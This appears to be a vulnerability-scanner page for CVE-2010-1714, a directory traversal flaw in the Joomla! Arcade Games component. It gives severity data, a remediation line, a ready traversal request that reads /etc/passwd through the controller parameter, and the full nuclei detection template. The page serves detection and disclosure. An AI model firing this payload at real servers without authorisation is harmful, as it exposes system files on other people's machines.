Joomla! Component Arcade Games 1.0 - Local File Inclusion

mediumseverity

5CVSS score

18.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Arcade Games (com_arcadegames) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Arcade Games components.

Fix

Apply the latest security patches or updates provided by the Joomla! project to fix the LFI vulnerability in the Arcade Games component.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1714 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1714

info:
  name: Joomla! Component Arcade Games 1.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Arcade Games (com_arcadegames) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Arcade Games components.
  remediation: |
    Apply the latest security patches or updates provided by the Joomla! project to fix the LFI vulnerability in the Arcade Games component.
  reference:
    - https://www.exploit-db.com/exploits/12168
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1714
    - http://packetstormsecurity.org/1004-exploits/joomlaarcadegames-lfi.txt
    - http://www.vupen.com/english/advisories/2010/0860
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57683
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1714
    cwe-id: CWE-22
    epss-score: 0.18703
    epss-percentile: 0.97295
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_arcadegames:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_arcadegames
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,dev.pucit.edu.pk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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